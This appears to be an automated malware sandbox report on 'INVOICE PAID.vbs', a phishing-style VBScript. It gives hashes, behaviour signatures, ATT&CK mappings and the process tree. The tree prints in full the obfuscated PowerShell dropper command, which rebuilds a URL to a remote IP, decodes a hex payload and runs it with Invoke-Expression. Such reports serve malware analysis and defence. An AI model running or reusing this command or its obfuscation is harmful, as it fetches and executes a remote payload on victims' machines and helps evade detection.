14c3d06f79c7518433e2baef8a920a310393b394b219241ff8e88a7ed7c7a07a

General

Target

INVOICE PAID.vbs
Size

7KB
MD5

faadd040a36132904b0b44ce8acb801a
SHA1

34e16916fce2e1a3465a8b571ca0d970509317c3
SHA256

14c3d06f79c7518433e2baef8a920a310393b394b219241ff8e88a7ed7c7a07a
SHA512

93476f94af989f26204a3811c10a827f4d3e2a8ded6372b169a8849b2acaaa831b9245e6e67d715ac9d7ee23a3f9c743094a13cde6f185c5e75bd69ef8734bd4

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://13.112.210.240/nnnnnnnnnnnnnnnnjbypass.txt

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

988 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 988 powershell.exe

pid	process
988	powershell.exe

description	pid	process
Token: SeDebugPrivilege	988	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 968 wrote to memory of 988	968	WScript.exe	powershell.exe
PID 968 wrote to memory of 988	968	WScript.exe	powershell.exe
PID 968 wrote to memory of 988	968	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INVOICE PAID.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://13===============================112===============================210===============================240/nnnnnnnnnnnnnnnnjbypass===============================txt'.Replace('===============================','.');$LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL='2%@@@@@@@@@@@%5@@@@@@@@@@@%%@@@@@@@@@@@52@@@@@@@@@@@%$@@@@@@@@@@@%7@@@@@@@@@@@%8@@@@@@@@@@@%e@@@@@@@@@@@%a@@@@@@@@@@@%d@@@@@@@@@@@%b@@@@@@@@@@@%%@@@@@@@@@@@%5@@@@@@@@@@@%$@@@@@@@@@@@%7@@@@@@@@@@@%8@@@@@@@@@@@%a@@@@@@@@@@@20@@@@@@@@@@@3d@@@@@@@@@@@20@@@@@@@@@@@27@@@@@@@@@@@$e@@@@@@@@@@@%5@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@%5@@@@@@@@@@@$2@@@@@@@@@@@%3@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@5%@@@@@@@@@@@27@@@@@@@@@@@2e@@@@@@@@@@@52@@@@@@@@@@@$5@@@@@@@@@@@70@@@@@@@@@@@$c@@@@@@@@@@@$1@@@@@@@@@@@$3@@@@@@@@@@@$5@@@@@@@@@@@28@@@@@@@@@@@27@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@27@@@@@@@@@@@2c@@@@@@@@@@@27@@@@@@@@@@@7%@@@@@@@@@@@2e@@@@@@@@@@@57@@@@@@@@@@@27@@@@@@@@@@@29@@@@@@@@@@@2e@@@@@@@@@@@52@@@@@@@@@@@$5@@@@@@@@@@@70@@@@@@@@@@@$c@@@@@@@@@@@$1@@@@@@@@@@@$3@@@@@@@@@@@$5@@@@@@@@@@@28@@@@@@@@@@@27@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@2b@@@@@@@@@@@27@@@@@@@@@@@2c@@@@@@@@@@@27@@@@@@@@@@@$c@@@@@@@@@@@%9@@@@@@@@@@@%5@@@@@@@@@@@%e@@@@@@@@@@@27@@@@@@@@@@@29@@@@@@@@@@@3b@@@@@@@@@@@0a@@@@@@@@@@@2%@@@@@@@@@@@53@@@@@@@@@@@58@@@@@@@@@@@%%@@@@@@@@@@@%3@@@@@@@@@@@%$@@@@@@@@@@@5$@@@@@@@@@@@%7@@@@@@@@@@@%2@@@@@@@@@@@%8@@@@@@@@@@@%e@@@@@@@@@@@%a@@@@@@@@@@@58@@@@@@@@@@@%%@@@@@@@@@@@%3@@@@@@@@@@@%$@@@@@@@@@@@5$@@@@@@@@@@@%7@@@@@@@@@@@%2@@@@@@@@@@@%8@@@@@@@@@@@%a@@@@@@@@@@@%b@@@@@@@@@@@20@@@@@@@@@@@3d@@@@@@@@@@@20@@@@@@@@@@@27@@@@@@@@@@@%%@@@@@@@@@@@%f@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@$1@@@@@@@@@@@%%@@@@@@@@@@@53@@@@@@@@@@@5%@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@%7@@@@@@@@@@@27@@@@@@@@@@@2e@@@@@@@@@@@52@@@@@@@@@@@$5@@@@@@@@@@@70@@@@@@@@@@@$c@@@@@@@@@@@$1@@@@@@@@@@@$3@@@@@@@@@@@$5@@@@@@@@@@@28@@@@@@@@@@@27@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@2a@@@@@@@@@@@27@@@@@@@@@@@2c@@@@@@@@@@@27@@@@@@@@@@@57@@@@@@@@@@@$e@@@@@@@@@@@%c@@@@@@@@@@@$f@@@@@@@@@@@27@@@@@@@@@@@29@@@@@@@@@@@2e@@@@@@@@@@@52@@@@@@@@@@@$5@@@@@@@@@@@70@@@@@@@@@@@$c@@@@@@@@@@@$1@@@@@@@@@@@$3@@@@@@@@@@@$5@@@@@@@@@@@28@@@@@@@@@@@27@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@27@@@@@@@@@@@2c@@@@@@@@@@@27@@@@@@@@@@@72@@@@@@@@@@@%9@@@@@@@@@@@$e@@@@@@@@@@@27@@@@@@@@@@@29@@@@@@@@@@@3b@@@@@@@@@@@0a@@@@@@@@@@@2%@@@@@@@@@@@53@@@@@@@@@@@57@@@@@@@@@@@58@@@@@@@@@@@%%@@@@@@@@@@@%5@@@@@@@@@@@%3@@@@@@@@@@@52@@@@@@@@@@@%$@@@@@@@@@@@%7@@@@@@@@@@@59@@@@@@@@@@@%8@@@@@@@@@@@55@@@@@@@@@@@%a@@@@@@@@@@@%9@@@@@@@@@@@53@@@@@@@@@@@%%@@@@@@@@@@@%$@@@@@@@@@@@5$@@@@@@@@@@@%7@@@@@@@@@@@%8@@@@@@@@@@@%a@@@@@@@@@@@20@@@@@@@@@@@3d@@@@@@@@@@@27@@@@@@@@@@@%9@@@@@@@@@@@$0@@@@@@@@@@@%5@@@@@@@@@@@58@@@@@@@@@@@28@@@@@@@@@@@$e@@@@@@@@@@@$0@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@$0@@@@@@@@@@@$3@@@@@@@@@@@$0@@@@@@@@@@@5%@@@@@@@@@@@20@@@@@@@@@@@2%@@@@@@@@@@@%5@@@@@@@@@@@%%@@@@@@@@@@@52@@@@@@@@@@@%$@@@@@@@@@@@%7@@@@@@@@@@@%8@@@@@@@@@@@%e@@@@@@@@@@@%a@@@@@@@@@@@%d@@@@@@@@@@@%b@@@@@@@@@@@%%@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@%7@@@@@@@@@@@%2@@@@@@@@@@@%8@@@@@@@@@@@%e@@@@@@@@@@@%a@@@@@@@@@@@53@@@@@@@@@@@%%@@@@@@@@@@@%$@@@@@@@@@@@%7@@@@@@@@@@@%8@@@@@@@@@@@29@@@@@@@@@@@27@@@@@@@@@@@2e@@@@@@@@@@@52@@@@@@@@@@@$5@@@@@@@@@@@70@@@@@@@@@@@$c@@@@@@@@@@@$1@@@@@@@@@@@$3@@@@@@@@@@@$5@@@@@@@@@@@28@@@@@@@@@@@27@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@2d@@@@@@@@@@@27@@@@@@@@@@@2c@@@@@@@@@@@27@@@@@@@@@@@$5@@@@@@@@@@@$0@@@@@@@@@@@57@@@@@@@@@@@$0@@@@@@@@@@@2d@@@@@@@@@@@%f@@@@@@@@@@@$2@@@@@@@@@@@$a@@@@@@@@@@@$0@@@@@@@@@@@%5@@@@@@@@@@@27@@@@@@@@@@@29@@@@@@@@@@@2e@@@@@@@@@@@52@@@@@@@@@@@$5@@@@@@@@@@@70@@@@@@@@@@@$c@@@@@@@@@@@$1@@@@@@@@@@@$3@@@@@@@@@@@$5@@@@@@@@@@@28@@@@@@@@@@@27@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3c@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@3e@@@@@@@@@@@27@@@@@@@@@@@2c@@@@@@@@@@@27@@@@@@@@@@@%5@@@@@@@@@@@%$@@@@@@@@@@@%7@@@@@@@@@@@%8@@@@@@@@@@@%a@@@@@@@@@@@29@@@@@@@@@@@2e@@@@@@@@@@@2%@@@@@@@@@@@53@@@@@@@@@@@58@@@@@@@@@@@%%@@@@@@@@@@@%3@@@@@@@@@@@%$@@@@@@@@@@@5$@@@@@@@@@@@%7@@@@@@@@@@@%2@@@@@@@@@@@%8@@@@@@@@@@@%e@@@@@@@@@@@%a@@@@@@@@@@@58@@@@@@@@@@@%%@@@@@@@@@@@%3@@@@@@@@@@@%$@@@@@@@@@@@5$@@@@@@@@@@@%7@@@@@@@@@@@%2@@@@@@@@@@@%8@@@@@@@@@@@%a@@@@@@@@@@@%b@@@@@@@@@@@28@@@@@@@@@@@2%@@@@@@@@@@@53@@@@@@@@@@@5a@@@@@@@@@@@58@@@@@@@@@@@%%@@@@@@@@@@@%3@@@@@@@@@@@%$@@@@@@@@@@@5$@@@@@@@@@@@27@@@@@@@@@@@29@@@@@@@@@@@3b@@@@@@@@@@@0a@@@@@@@@@@@2$@@@@@@@@@@@28@@@@@@@@@@@27@@@@@@@@@@@%9@@@@@@@@@@@27@@@@@@@@@@@2b@@@@@@@@@@@27@@@@@@@@@@@%5@@@@@@@@@@@58@@@@@@@@@@@27@@@@@@@@@@@29@@@@@@@@@@@28@@@@@@@@@@@2%@@@@@@@@@@@53@@@@@@@@@@@57@@@@@@@@@@@58@@@@@@@@@@@%%@@@@@@@@@@@%5@@@@@@@@@@@%3@@@@@@@@@@@52@@@@@@@@@@@%$@@@@@@@@@@@%7@@@@@@@@@@@59@@@@@@@@@@@%8@@@@@@@@@@@55@@@@@@@@@@@%a@@@@@@@@@@@%9@@@@@@@@@@@53@@@@@@@@@@@%%@@@@@@@@@@@%$@@@@@@@@@@@5$@@@@@@@@@@@%7@@@@@@@@@@@%8@@@@@@@@@@@%a@@@@@@@@@@@20@@@@@@@@@@@2d@@@@@@@@@@@%a@@@@@@@@@@@$f@@@@@@@@@@@$9@@@@@@@@@@@$e@@@@@@@@@@@20@@@@@@@@@@@27@@@@@@@@@@@27@@@@@@@@@@@29@@@@@@@@@@@7c@@@@@@@@@@@2$@@@@@@@@@@@28@@@@@@@@@@@27@@@@@@@@@@@%9@@@@@@@@@@@27@@@@@@@@@@@2b@@@@@@@@@@@27@@@@@@@@@@@%5@@@@@@@@@@@58@@@@@@@@@@@27@@@@@@@@@@@29@@@@@@@@@@@3b'.Replace('$','6').Replace('%','4');Invoke-Expression (-join ($LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL -split '@@@@@@@@@@@' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:988

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/968-54-0x000007FEFC4F1000-0x000007FEFC4F3000-memory.dmp

Filesize
8KB

Download
memory/988-55-0x0000000000000000-mapping.dmp

Download
memory/988-57-0x000007FEF2890000-0x000007FEF33ED000-memory.dmp

Filesize
11.4MB

Download
memory/988-59-0x0000000002452000-0x0000000002454000-memory.dmp

Filesize
8KB

Download
memory/988-60-0x0000000002454000-0x0000000002457000-memory.dmp

Filesize
12KB

Download
memory/988-58-0x0000000002450000-0x0000000002452000-memory.dmp

Filesize
8KB

Download
memory/988-61-0x000000000245B000-0x000000000247A000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing